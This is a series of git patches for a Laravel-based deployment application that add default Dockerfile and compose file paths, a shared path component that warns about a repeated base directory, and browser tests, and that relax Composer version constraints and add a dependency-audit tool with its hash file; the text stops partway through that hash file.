From 650351e2dad706ce20e79bbf17689657a4f5a934 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sat, 3 Oct 2026 19:22:36 +0200 Subject: [PATCH 01/24] fix(application): show the default file location when the field is empty or cleared --- app/Livewire/Project/Application/General.php | 2 +- .../project/application/general.blade.php | 6 +++-- ...ub-private-repository-deploy-key.blade.php | 2 +- .../new/github-private-repository.blade.php | 2 +- .../new/gitlab-private-repository.blade.php | 2 +- .../new/public-git-repository.blade.php | 2 +- ...pplicationGeneralBuildpackSelectorTest.php | 20 ++++++++++++++++ .../Browser/ApplicationConfigurationTest.php | 21 ++++++++++++++++ .../NewApplicationRepositoryPathsTest.php | 24 +++++++++++++++++++ 9 files changed, 74 insertions(+), 7 deletions(-) create mode 100644 tests/v4/Browser/NewApplicationRepositoryPathsTest.php diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 531aa834c0..0f0f68e9b4 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -436,7 +436,7 @@ class General extends Component $this->portsMappings = $this->application->ports_mappings; $this->customNetworkAliases = $this->application->custom_network_aliases; $this->dockerfile = $this->application->dockerfile; - $this->dockerfileLocation = $this->application->dockerfile_location; + $this->dockerfileLocation = $this->application->dockerfile_location ?? ($this->buildPack === 'dockerfile' ? '/Dockerfile' : null); $this->dockerfileTargetBuild = $this->application->dockerfile_target_build; $this->dockerRegistryImageName = $this->application->docker_registry_image_name; $this->dockerRegistryImageTag = $this->application->docker_registry_image_tag; diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index 1df2bedfb2..e0ec7b5add 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -159,7 +159,8 @@ this.baseDir = this.normalizePath(this.baseDir); }, normalizeComposeLocation() { - this.composeLocation = this.normalizePath(this.composeLocation); + const path = this.normalizePath(this.composeLocation); + this.composeLocation = path === '/' ? '/docker-compose.yaml' : path; } }" class="grid gap-4 lg:grid-cols-2"> + @blur="composeLocation = normalize(composeLocation).replace(/^\/$/, '/docker-compose.yaml')" />

Resolved file: + @blur="composeLocation = normalize(composeLocation).replace(/^\/$/, '/docker-compose.yaml')" />

Resolved file: + @blur="composeLocation = normalize(composeLocation).replace(/^\/$/, '/docker-compose.yaml')" />

Resolved file: + @blur="composeLocation = normalize(composeLocation).replace(/^\/$/, '/docker-compose.yaml')" />

Resolved file: toBe('https://example.com,https://www.example.com'); }); +test('Dockerfile location defaults to the Dockerfile only for the Dockerfile build pack', function (string $buildPack, ?string $expected) { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => $buildPack, + 'static_image' => 'nginx:alpine', + 'base_directory' => '/', + 'is_http_basic_auth_enabled' => false, + 'redirect' => 'no', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->assertSet('dockerfileLocation', $expected); +})->with([ + 'Dockerfile' => ['dockerfile', '/Dockerfile'], + 'Nixpacks' => ['nixpacks', null], +]); + test('networking section hints that internal ports can be set per domain', function () { $application = Application::factory()->create([ 'environment_id' => $this->environment->id, diff --git a/tests/v4/Browser/ApplicationConfigurationTest.php b/tests/v4/Browser/ApplicationConfigurationTest.php index cb60e12949..f7778b501b 100644 --- a/tests/v4/Browser/ApplicationConfigurationTest.php +++ b/tests/v4/Browser/ApplicationConfigurationTest.php @@ -156,6 +156,27 @@ it('saves custom docker run options from the UI', function () { ->screenshot(filename: 'application-docker-run-options'); }); +it('restores the default file location when the field is cleared', function (string $buildPack, string $column, string $default) { + $this->application->update(['build_pack' => $buildPack, $column => '/docker/custom']); + + loginAndSkipBoarding(); + + $page = visit(applicationConfigurationUrl( + $this->stack['project'], + $this->stack['environment'], + $this->application + )); + + $page->clear("input[placeholder='{$default}']") + ->keys("input[placeholder='{$default}']", 'Tab') + ->assertValue("input[placeholder='{$default}']", $default) + ->assertNoJavaScriptErrors() + ->screenshot(filename: "application-{$buildPack}-location-cleared"); +})->with([ + 'Dockerfile' => ['dockerfile', 'dockerfile_location', '/Dockerfile'], + 'Docker Compose' => ['dockercompose', 'docker_compose_location', '/docker-compose.yaml'], +]); + it('opens environment variables page for the application', function () { loginAndSkipBoarding(); diff --git a/tests/v4/Browser/NewApplicationRepositoryPathsTest.php b/tests/v4/Browser/NewApplicationRepositoryPathsTest.php new file mode 100644 index 0000000000..f7970fd02a --- /dev/null +++ b/tests/v4/Browser/NewApplicationRepositoryPathsTest.php @@ -0,0 +1,24 @@ +uuid}/environment/{$stack['environment']->uuid}/new?type=public&destination={$stack['destination']->uuid}"); + + $page->fill('repository_url', 'https://gitlab.com/example/monorepo.git') + ->click('Check repository') + ->assertSee('Build configuration'); + + selectListboxOption($page, 'build_pack', 'Docker Compose'); + + $page->clear("input[placeholder='/docker-compose.yaml']") + ->keys("input[placeholder='/docker-compose.yaml']", 'Tab') + ->assertValue("input[placeholder='/docker-compose.yaml']", '/docker-compose.yaml') + ->assertNoJavaScriptErrors() + ->screenshot(filename: 'new-application-compose-file-cleared'); +}); From 6f75c601c378601f5a69f3e46c0d79b191b0af1b Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sat, 3 Oct 2026 19:22:36 +0200 Subject: [PATCH 02/24] feat(application): show the full file path inline and warn on a repeated base directory --- .../forms/repository-paths.blade.php | 47 +++++++++++++ .../project/application/general.blade.php | 70 ++----------------- ...ub-private-repository-deploy-key.blade.php | 25 +------ .../new/github-private-repository.blade.php | 25 +------ .../new/gitlab-private-repository.blade.php | 25 +------ .../new/public-git-repository.blade.php | 25 +------ .../Browser/ApplicationConfigurationTest.php | 32 +++++++++ .../NewApplicationRepositoryPathsTest.php | 31 ++++++++ 8 files changed, 129 insertions(+), 151 deletions(-) create mode 100644 resources/views/components/forms/repository-paths.blade.php diff --git a/resources/views/components/forms/repository-paths.blade.php b/resources/views/components/forms/repository-paths.blade.php new file mode 100644 index 0000000000..1b5c6f94f9 --- /dev/null +++ b/resources/views/components/forms/repository-paths.blade.php @@ -0,0 +1,47 @@ +@props([ + 'base', + 'file' => null, + 'fileLabel' => null, + 'defaultFile' => null, + 'disabled' => 'false', +]) + +

class('grid gap-4') }} x-data="{ + base: $wire.entangle('{{ $base }}'), + file: {{ $file ? "\$wire.entangle('{$file}')" : 'null' }}, + normalize(path) { + path = (path ?? '').trim().replace(/\/+$/, ''); + return path === '' || path.startsWith('/') ? path : '/' + path; + }, + get directory() { + return this.normalize(this.base); + }, + get location() { + return this.normalize(this.file) || '{{ $defaultFile }}'; + }, + get repeatsBase() { + return this.directory !== '' && this.location.startsWith(this.directory + '/'); + }, + get suggestion() { + return this.location.slice(this.directory.length); + }, +}"> + + @if ($file) + +

+ Resolved file: + +

+ + {{ $fileLabel }} is relative to the base directory, so it should not start with + again. + + + @endif + {{ $slot }} +
diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index e0ec7b5add..650a348d8a 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -143,36 +143,9 @@
@if ($buildPack === 'dockercompose')
-
- - -
+
@else -
- - @if ($buildPack === 'dockerfile' && !$application->dockerfile) - - @endif - + @if ($buildPack === 'dockerfile') @endif @endif - -
+ @if ($this->application->is_github_based() && !$this->application->is_public_repository())
@if ($build_pack === 'dockercompose') -
- - -

- Resolved file: - -

-
+ @else diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php index 22be530c95..80aeb0ee33 100644 --- a/resources/views/livewire/project/new/github-private-repository.blade.php +++ b/resources/views/livewire/project/new/github-private-repository.blade.php @@ -135,28 +135,9 @@
@if ($build_pack === 'dockercompose') -
- - -

- Resolved file: - -

-
+ @else diff --git a/resources/views/livewire/project/new/gitlab-private-repository.blade.php b/resources/views/livewire/project/new/gitlab-private-repository.blade.php index 4060fff309..608b543d9c 100644 --- a/resources/views/livewire/project/new/gitlab-private-repository.blade.php +++ b/resources/views/livewire/project/new/gitlab-private-repository.blade.php @@ -133,28 +133,9 @@
@if ($build_pack === 'dockercompose') -
- - -

- Resolved file: - -

-
+ @else diff --git a/resources/views/livewire/project/new/public-git-repository.blade.php b/resources/views/livewire/project/new/public-git-repository.blade.php index 7e120b8539..6e5995ba5d 100644 --- a/resources/views/livewire/project/new/public-git-repository.blade.php +++ b/resources/views/livewire/project/new/public-git-repository.blade.php @@ -84,28 +84,9 @@
@if ($build_pack === 'dockercompose') -
- - -

- Resolved file: - -

-
+ @else diff --git a/tests/v4/Browser/ApplicationConfigurationTest.php b/tests/v4/Browser/ApplicationConfigurationTest.php index f7778b501b..7d65f22ae8 100644 --- a/tests/v4/Browser/ApplicationConfigurationTest.php +++ b/tests/v4/Browser/ApplicationConfigurationTest.php @@ -156,6 +156,38 @@ it('saves custom docker run options from the UI', function () { ->screenshot(filename: 'application-docker-run-options'); }); +it('warns when the Dockerfile location repeats the base directory and applies the suggested fix', function () { + $this->application->update([ + 'build_pack' => 'dockerfile', + 'base_directory' => '/apps/api', + 'dockerfile_location' => '/apps/api/Dockerfile', + ]); + + loginAndSkipBoarding(); + + $page = visit(applicationConfigurationUrl( + $this->stack['project'], + $this->stack['environment'], + $this->application + )); + + $page->assertSee('Base directory is repeated') + ->assertSee('/apps/api/apps/api/Dockerfile') + ->screenshot(filename: 'application-dockerfile-location-repeats-base-directory') + ->click('Use /Dockerfile') + ->assertDontSee('Base directory is repeated') + ->assertSee('/apps/api/Dockerfile'); + + submitLivewireForm($page); + + $page->assertNoJavaScriptErrors() + ->screenshot(filename: 'application-dockerfile-location-fixed'); + + $this->application->refresh(); + expect($this->application->base_directory)->toBe('/apps/api') + ->and($this->application->dockerfile_location)->toBe('/Dockerfile'); +}); + it('restores the default file location when the field is cleared', function (string $buildPack, string $column, string $default) { $this->application->update(['build_pack' => $buildPack, $column => '/docker/custom']); diff --git a/tests/v4/Browser/NewApplicationRepositoryPathsTest.php b/tests/v4/Browser/NewApplicationRepositoryPathsTest.php index f7970fd02a..7571eb06a6 100644 --- a/tests/v4/Browser/NewApplicationRepositoryPathsTest.php +++ b/tests/v4/Browser/NewApplicationRepositoryPathsTest.php @@ -1,5 +1,6 @@ assertNoJavaScriptErrors() ->screenshot(filename: 'new-application-compose-file-cleared'); }); + +it('warns when the compose file repeats the base directory and creates the application with the suggested fix', function () { + $stack = seedBrowserResourceStack(); + loginAndSkipBoarding(); + + $page = visit("/project/{$stack['project']->uuid}/environment/{$stack['environment']->uuid}/new?type=public&destination={$stack['destination']->uuid}"); + + $page->fill('repository_url', 'https://gitlab.com/example/monorepo.git') + ->click('Check repository') + ->assertSee('Build configuration'); + + selectListboxOption($page, 'build_pack', 'Docker Compose'); + + $page->fill("input[placeholder='/']", 'apps/api/') + ->fill("input[placeholder='/docker-compose.yaml']", 'apps/api/compose.yaml') + ->assertSee('Base directory is repeated') + ->assertSee('/apps/api/apps/api/compose.yaml') + ->screenshot(filename: 'new-application-compose-file-repeats-base-directory') + ->click('button:has-text("Use /compose.yaml")') + ->assertDontSee('Base directory is repeated') + ->assertSee('/apps/api/compose.yaml') + ->assertNoJavaScriptErrors() + ->screenshot(filename: 'new-application-compose-file-fixed'); + + submitLivewireForm($page); + + $application = Application::query()->where('git_repository', 'https://gitlab.com/example/monorepo.git')->sole(); + expect($application->base_directory)->toBe('/apps/api') + ->and($application->docker_compose_location)->toBe('/compose.yaml'); +}); From b634d1061a40d3914848b9dc495448eaeb6ee7c4 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sat, 3 Oct 2026 19:57:26 +0200 Subject: [PATCH 03/24] fix(ui): place the Docker build stage target next to the builder selection --- .../livewire/project/application/general.blade.php | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index 650a348d8a..3638f4d2b1 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -191,11 +191,6 @@ - @if ($buildPack === 'dockerfile') - - @endif @if ($application->could_set_build_commands()) @if ($application->settings->is_static) + @if ($buildPack === 'dockerfile') + + @endif Date: Fri, 2 Oct 2026 23:17:14 +0200 Subject: [PATCH 04/24] chore(deps): restore composer version ranges --- composer.json | 118 +++++++++++++++++++++++++------------------------- composer.lock | 2 +- 2 files changed, 60 insertions(+), 60 deletions(-) diff --git a/composer.json b/composer.json index d00dd4c476..be3cf23911 100644 --- a/composer.json +++ b/composer.json @@ -12,67 +12,67 @@ ], "require": { "php": "^8.4", - "danharrin/livewire-rate-limiting": "2.2.1", - "doctrine/dbal": "4.4.4", - "firebase/php-jwt": "7.1.0", - "guzzlehttp/guzzle": "7.15.3", - "laravel/fortify": "1.37.3", - "laravel/framework": "12.69.3", - "laravel/horizon": "5.48.2", - "laravel/mcp": "1.0.1", - "laravel/pail": "1.2.7", - "laravel/prompts": "0.3.22", - "laravel/reverb": "1.11.1", - "laravel/sanctum": "4.3.3", - "laravel/socialite": "5.29.0", - "laravel/tinker": "2.11.1", - "laravel/ui": "4.6.3", - "lcobucci/jwt": "5.6.0", - "league/flysystem-aws-s3-v3": "3.35.2", - "league/flysystem-sftp-v3": "3.33.0", - "livewire/livewire": "3.8.7", - "log1x/laravel-webfonts": "2.0.1", - "lorisleiva/laravel-actions": "2.10.2", - "nubs/random-name-generator": "2.2.0", - "phpseclib/phpseclib": "3.0.57", - "pion/laravel-chunk-upload": "1.6.3", - "poliander/cron": "3.3.1", - "purplepixie/phpdns": "2.3.6", - "pusher/pusher-php-server": "7.3.0", - "resend/resend-laravel": "1.5.0", - "sentry/sentry-laravel": "4.27.0", - "socialiteproviders/authentik": "5.3.0", - "socialiteproviders/clerk": "5.1.0", - "socialiteproviders/discord": "4.2.0", - "socialiteproviders/google": "4.1.0", - "socialiteproviders/infomaniak": "4.0.0", - "socialiteproviders/microsoft-azure": "5.2.0", - "socialiteproviders/zitadel": "4.2.0", - "spatie/laravel-activitylog": "4.12.3", - "spatie/laravel-data": "4.23.0", - "spatie/laravel-markdown": "2.8.0", - "spatie/laravel-schemaless-attributes": "2.6.0", - "spatie/url": "2.4.0", - "stevebauman/purify": "6.3.2", - "stripe/stripe-php": "16.6.0", - "symfony/yaml": "7.4.15", - "visus/cuid2": "6.0.0", - "yosymfony/toml": "1.0.4", - "zircote/swagger-php": "5.8.3" + "danharrin/livewire-rate-limiting": "^2.2.1", + "doctrine/dbal": "^4.4.4", + "firebase/php-jwt": "^7.1.0", + "guzzlehttp/guzzle": "^7.15.3", + "laravel/fortify": "^1.37.3", + "laravel/framework": "^12.69.3", + "laravel/horizon": "^5.48.2", + "laravel/mcp": "^1.0.1", + "laravel/pail": "^1.2.7", + "laravel/prompts": "^0.3.22", + "laravel/reverb": "^1.11.1", + "laravel/sanctum": "^4.3.3", + "laravel/socialite": "^5.29.0", + "laravel/tinker": "^2.11.1", + "laravel/ui": "^4.6.3", + "lcobucci/jwt": "^5.6.0", + "league/flysystem-aws-s3-v3": "^3.35.2", + "league/flysystem-sftp-v3": "^3.33.0", + "livewire/livewire": "^3.8.7", + "log1x/laravel-webfonts": "^2.0.1", + "lorisleiva/laravel-actions": "^2.10.2", + "nubs/random-name-generator": "^2.2.0", + "phpseclib/phpseclib": "^3.0.57", + "pion/laravel-chunk-upload": "^1.6.3", + "poliander/cron": "^3.3.1", + "purplepixie/phpdns": "^2.3.6", + "pusher/pusher-php-server": "^7.3.0", + "resend/resend-laravel": "^1.5.0", + "sentry/sentry-laravel": "^4.27.0", + "socialiteproviders/authentik": "^5.3.0", + "socialiteproviders/clerk": "^5.1.0", + "socialiteproviders/discord": "^4.2.0", + "socialiteproviders/google": "^4.1.0", + "socialiteproviders/infomaniak": "^4.0.0", + "socialiteproviders/microsoft-azure": "^5.2.0", + "socialiteproviders/zitadel": "^4.2.0", + "spatie/laravel-activitylog": "^4.12.3", + "spatie/laravel-data": "^4.23.0", + "spatie/laravel-markdown": "^2.8.0", + "spatie/laravel-schemaless-attributes": "^2.6.0", + "spatie/url": "^2.4.0", + "stevebauman/purify": "^6.3.2", + "stripe/stripe-php": "^16.6.0", + "symfony/yaml": "^7.4.15", + "visus/cuid2": "^6.0.0", + "yosymfony/toml": "^1.0.4", + "zircote/swagger-php": "^5.8.3" }, "require-dev": { - "driftingly/rector-laravel": "2.5.0", - "fakerphp/faker": "1.24.1", - "laravel/boost": "2.10.0", - "laravel/pint": "1.30.4", - "mockery/mockery": "1.6.12", - "nunomaduro/collision": "8.9.5", - "pestphp/pest": "4.7.8", - "pestphp/pest-plugin-browser": "4.3.1", - "phpstan/phpstan": "2.2.8", - "rector/rector": "2.6.1", - "serversideup/spin": "3.3.0", - "symfony/http-client": "7.4.16" + "driftingly/rector-laravel": "^2.5.0", + "fakerphp/faker": "^1.24.1", + "laravel/boost": "^2.10.0", + "laravel/pint": "^1.30.4", + "mockery/mockery": "^1.6.12", + "nunomaduro/collision": "^8.9.5", + "pestphp/pest": "^4.7.8", + "pestphp/pest-plugin-browser": "^4.3.1", + "phpstan/phpstan": "^2.2.8", + "rector/rector": "^2.6.1", + "serversideup/spin": "^3.3.0", + "symfony/http-client": "^7.4.16" }, "minimum-stability": "stable", "prefer-stable": true, diff --git a/composer.lock b/composer.lock index 37c9d9e856..fb749ec09c 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "e67d127267c946e452e424751c69ebbd", + "content-hash": "c63a0eb3eba5796a90b73f27268f8288", "packages": [ { "name": "aws/aws-crt-php", From 0c7d9af196af8f7f3aac6175a5dea6db750e4ec4 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Fri, 2 Oct 2026 23:45:57 +0200 Subject: [PATCH 05/24] chore(deps): add Laravel Vet --- composer.json | 4 +- composer.lock | 78 +++- vet.json | 979 ++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 1059 insertions(+), 2 deletions(-) create mode 100644 vet.json diff --git a/composer.json b/composer.json index be3cf23911..1a30a22542 100644 --- a/composer.json +++ b/composer.json @@ -65,6 +65,7 @@ "fakerphp/faker": "^1.24.1", "laravel/boost": "^2.10.0", "laravel/pint": "^1.30.4", + "laravel/vet": "^0.2.1", "mockery/mockery": "^1.6.12", "nunomaduro/collision": "^8.9.5", "pestphp/pest": "^4.7.8", @@ -94,7 +95,8 @@ "config": { "allow-plugins": { "pestphp/pest-plugin": true, - "php-http/discovery": true + "php-http/discovery": true, + "laravel/vet": true }, "optimize-autoloader": true, "preferred-install": "dist", diff --git a/composer.lock b/composer.lock index fb749ec09c..4445433131 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "c63a0eb3eba5796a90b73f27268f8288", + "content-hash": "657807c3680ec0ee72d6d70446605d39", "packages": [ { "name": "aws/aws-crt-php", @@ -14659,6 +14659,82 @@ }, "time": "2026-07-18T17:53:15+00:00" }, + { + "name": "laravel/vet", + "version": "v0.2.1", + "source": { + "type": "git", + "url": "https://github.com/laravel/vet.git", + "reference": "7b10fd2beecf9f386c92731729c9f33a152b213b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/vet/zipball/7b10fd2beecf9f386c92731729c9f33a152b213b", + "reference": "7b10fd2beecf9f386c92731729c9f33a152b213b", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^2.0", + "ext-dom": "*", + "ext-mbstring": "*", + "ext-openssl": "*", + "ext-phar": "*", + "ext-tokenizer": "*", + "ext-zip": "*", + "php": "^8.4" + }, + "require-dev": { + "guzzlehttp/guzzle": "^7.15.5|^8.0", + "laravel-zero/foundation": "^13.25", + "laravel-zero/framework": "^13.0", + "laravel/pint": "^1.32.1", + "mockery/mockery": "^1.6.15", + "pestphp/pest": "^5.2.1", + "pestphp/pest-plugin-phpstan": "^5.2.1", + "pestphp/pest-plugin-rector": "^5.0.4", + "phpstan/phpstan": "^2.2.16", + "rector/rector": "^2.6.7" + }, + "bin": [ + "builds/vet" + ], + "type": "composer-plugin", + "extra": { + "class": "Laravel\\Vet\\Composer\\Plugin" + }, + "autoload": { + "psr-4": { + "App\\": "app/", + "Laravel\\Vet\\Composer\\": "src/Composer/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "A dependency audit trust file for PHP.", + "keywords": [ + "Audit", + "cli", + "composer", + "console", + "dev", + "php", + "security", + "supply chain" + ], + "support": { + "issues": "https://github.com/laravel/vet/issues", + "source": "https://github.com/laravel/vet/tree/v0.2.1" + }, + "time": "2026-09-27T14:39:48+00:00" + }, { "name": "league/uri-components", "version": "7.8.1", diff --git a/vet.json b/vet.json new file mode 100644 index 0000000000..67f492a011 --- /dev/null +++ b/vet.json @@ -0,0 +1,979 @@ +{ + "require": { + "aws/aws-crt-php": { + "version": "v1.2.7", + "hash": "tree-v2:be22a57eb742622a1ffba6ca86d121622eb74e75f927a8494532d5d4803badce" + }, + "aws/aws-sdk-php": { + "version": "3.391.1", + "hash": "tree-v2:16aee08fbba9a6ffece4681341f8028ac3caba5a79b39d3b5555e0a57ec71f50" + }, + "bacon/bacon-qr-code": { + "version": "v3.1.1", + "hash": "tree-v2:12897f0a1a47ba843a8c4dfa9cd986bc3d7455929b42b7005d030fdd778dc72a" + }, + "brick/math": { + "version": "0.14.8", + "hash": "tree-v2:79827d9b803e1ecdc82b596e792180dd785719f5d865f59a42aabbe61d85d4fb" + }, + "carbonphp/carbon-doctrine-types": { + "version": "3.2.0", + "hash": "tree-v2:ad33848c07e8c0d58a0f9011341684a226db43f96f7fc21c6cb99b9c66720f0f" + }, + "clue/redis-protocol": { + "version": "v0.3.2", + "hash": "tree-v2:8e03c9d35ac2bf5be5ceab4f331d9c122d99273da4f7c428d1c02ceb897ab68a" + }, + "clue/redis-react": { + "version": "v2.8.0", + "hash": "tree-v2:919b5f4e495641eb54043ec944915a2a83b269412e2acc85a18eadacc96ee1b8" + }, + "danharrin/livewire-rate-limiting": { + "version": "v2.2.1", + "hash": "tree-v2:3bc003901f11d83845615a2b83b6f0e52f14d132cfe21fd39c78f5f81ec85bb4" + }, + "dasprid/enum": { + "version": "1.0.7", + "hash": "tree-v2:82016cbedde18f90fb0d3314cfcce52943053eca20269166154b6bc2d79e7940" + }, + "dflydev/dot-access-data": { + "version": "v3.0.3", + "hash": "tree-v2:05d15a85340adeabba2a95b5280336f0df3a544fcd89be9b2053e410212960b5" + }, + "doctrine/dbal": { + "version": "4.4.4", + "hash": "tree-v2:c4d9ed2d117d1fb270dd92ad1f626477c87c427969b59527d023c71ab37cae14" + }, + "doctrine/deprecations": { + "version": "1.1.6", + "hash": "tree-v2:8abdb22c79e82b9ea4884ab18dbaa595bb5315736231fa9e310b9d70a3ab0815" + }, + "doctrine/inflector": { + "version": "2.1.0", + "hash": "tree-v2:220a8be0ed1b4c0fe4cb53530cec8bcbad2db49962deef2f9f5de47327d7855e" + }, + "doctrine/lexer": { + "version": "3.0.2", + "hash": "tree-v2:7dabe75f6855468becf3d5a9c0ed9fdbf96f66af9776261cd2fdbeb4079f93e2" + }, + "dragonmantank/cron-expression": { + "version": "v3.6.0", + "hash": "tree-v2:de03874981dc12b8d6108e201130ed10c174926aad4e4fc0cf4362a1e6f83cb7" + }, + "egulias/email-validator": { + "version": "4.0.4", + "hash": "tree-v2:7621e009898aea85dfa2ad91d25a3441db9ef5bf90a1b55e9b8396b3a43830f9" + }, + "evenement/evenement": { + "version": "v3.0.2", + "hash": "tree-v2:5bf08ea1a28ca2559ae1b79a9e99cb3bfd5c33cf13a4b8ce7cc943461473e4e3" + }, + "ezyang/htmlpurifier": { + "version": "v4.19.0", + "hash": "tree-v2:d3c22c4953b78400b870df5de8b38b239728c661f4ad0bd011a1343525e5eed4" + }, + "firebase/php-jwt": { + "version": "v7.1.0", + "hash": "tree-v2:fb9b281e0f88b9a10a2daf91a1323182371b3b5a2c5eb8919027e8c86f3d27af" + }, + "fruitcake/php-cors": { + "version": "v1.4.0", + "hash": "tree-v2:843a0fd0c0519e1e8e46ce45b613feb881065e0a5687b359660900b7be3d0094" + }, + "graham-campbell/result-type": { + "version": "v1.1.4", + "hash": "tree-v2:20ce4b1cffb859a4b85bec52529ec4a633574f184a5f335b82d904c27cd98c33" + }, + "guzzlehttp/guzzle": { + "version": "7.15.3", + "hash": "tree-v2:e8515d60ce62d49290f05b65cc3250b8526836b3ee61bca6b12e4f45388d9bb0" + }, + "guzzlehttp/promises": { + "version": "2.5.2", + "hash": "tree-v2:dc061818ecce047b05af603eca27ff84d7c93e0b05b87efd83ba67e0c241e695" + }, + "guzzlehttp/psr7": { + "version": "2.13.1", + "hash": "tree-v2:7607132af9efdbe31c5a6d8b92d4cac549bb4e4141caec6b0d917e813c201a19" + }, + "guzzlehttp/uri-template": { + "version": "v1.0.10", + "hash": "tree-v2:3228d9ad243f43c65a8e250acf8b82cd2454442483d388821ee4227933cb333a" + }, + "jean85/pretty-package-versions": { + "version": "2.1.1", + "hash": "tree-v2:5cc304e8a530449d8c745eaec902384554d1740d4e083032d5f9ce3ac1cf25e3" + }, + "laravel/fortify": { + "version": "v1.37.3", + "hash": "tree-v2:41b517f26837c05ae8cc9b4edd0530ca83ffe79c008ddbdd5752c4232987c7fe" + }, + "laravel/framework": { + "version": "v12.69.3", + "hash": "tree-v2:406d3fd2a8e434af41c60567dc3e57830cac780dab9753e854c4ccdaab71f3a7" + }, + "laravel/horizon": { + "version": "v5.48.2", + "hash": "tree-v2:5173777c8b58d8f7dc185a8252ed5c8d4f922aa818d89c571448d053bdbb3fd8" + }, + "laravel/mcp": { + "version": "v1.0.1", + "hash": "tree-v2:9c474c4e3f7a9e35fd7d2ec2ffb24e02ac5d185328243fda4ff9cba7903dac70" + }, + "laravel/pail": { + "version": "v1.2.7", + "hash": "tree-v2:6ffc8a88f56b9b5082de7e1d3c620a64fa6224f3d2ccd94c23b7b73ec903929b" + }, + "laravel/passkeys": { + "version": "v0.2.1", + "hash": "tree-v2:788db1215e7e8c6cb282ee115d4b7570a7f30eb763a53b40417df4b7c5a4981c" + }, + "laravel/prompts": { + "version": "v0.3.22", + "hash": "tree-v2:6e9c301dd528b44952cf87472ee49cd9f9a2c1aac7bb26d7d105ca779fdbdad8" + }, + "laravel/reverb": { + "version": "v1.11.1", + "hash": "tree-v2:cc912bc1cad0332eb928da40f3bce89d47ead68e4455ad6f450e0fddf7dd6aa9" + }, + "laravel/sanctum": { + "version": "v4.3.3", + "hash": "tree-v2:63830d35780274f01c5f4999126781fb3de75408055c7ec4aac8bdf2d432c314" + }, + "laravel/sentinel": { + "version": "v1.1.0", + "hash": "tree-v2:2893786cf018af94219a831c0e4056110487dd448a8dd32f80c936760a180115" + }, + "laravel/serializable-closure": { + "version": "v2.0.15", + "hash": "tree-v2:cf3dc1978786badf5de9edfb49e9e4faf44353726823fe35657ee6176539da76" + }, + "laravel/socialite": { + "version": "v5.29.0", + "hash": "tree-v2:28926a0133c2b3594903c7a65b5401b5a5660ad59d5db3ff0e2a74807e7a5594" + }, + "laravel/tinker": { + "version": "v2.11.1", + "hash": "tree-v2:dbf0a4e6982ec1eb10731c20edaca53829317d294b9a61432b3832a0ef5270fe" + }, + "laravel/ui": { + "version": "v4.6.3", + "hash": "tree-v2:cdc10049a3e3b3eefa2a8f8da8afa60c1052b33d96338c7c802481aea0d3896c" + }, + "lcobucci/jwt": { + "version": "5.6.0", + "hash": "tree-v2:7374370ed18d7728465afcdcdbede894a4916ff0aea1fac63d2ae85859f74d66" + }, + "league/commonmark": { + "version": "2.10.3", + "hash": "tree-v2:ee619e9faf2cbab26a72cb89c809211c91e772fecf8c1a3cbc5e98f8a1233db2" + }, + "league/config": { + "version": "v1.2.0", + "hash": "tree-v2:b454eb2bd1b250346c7d0af0e5b3caaeafa1b21468bca4ff4601a6a7bd91baae" + }, + "league/flysystem": { + "version": "3.36.0", + "hash": "tree-v2:420e48fea76c143b41f4a8c1516031dc09ebb7e6367321af317e0a48fa998320" + }, + "league/flysystem-aws-s3-v3": { + "version": "3.35.2", + "hash": "tree-v2:c8e152eed6be05d58efb91340a8625509bf8e37e96dd5494a2fa0e5efcdfd473" + }, + "league/flysystem-local": { + "version": "3.35.3", + "hash": "tree-v2:7dba7c9670489313d3604b6a2801a152cf455b5e0d428bf721efda7ea37a5000" + }, + "league/flysystem-sftp-v3": { + "version": "3.33.0", + "hash": "tree-v2:08f6d0810972764546da057809b3f896fccb0aaf78cf373ae4ca7c2a3b2e7c5d" + }, + "league/mime-type-detection": { + "version": "1.17.0", + "hash": "tree-v2:1726a64b700472e12c6e5917132914a632350a91b90816cc3c5940ddea1f92d7" + }, + "league/oauth1-client": { + "version": "v1.11.0", + "hash": "tree-v2:677e7814fa6d106ecb790969760478ea4be3196f57c2d1221d52bd65b0d0314c" + }, + "league/uri": { + "version": "7.8.1", + "hash": "tree-v2:4397d51a8c4e6080a42f161000bf9db6e73840654aff3cc445f27b405c36ab5c" + }, + "league/uri-interfaces": { + "version": "7.8.1", + "hash": 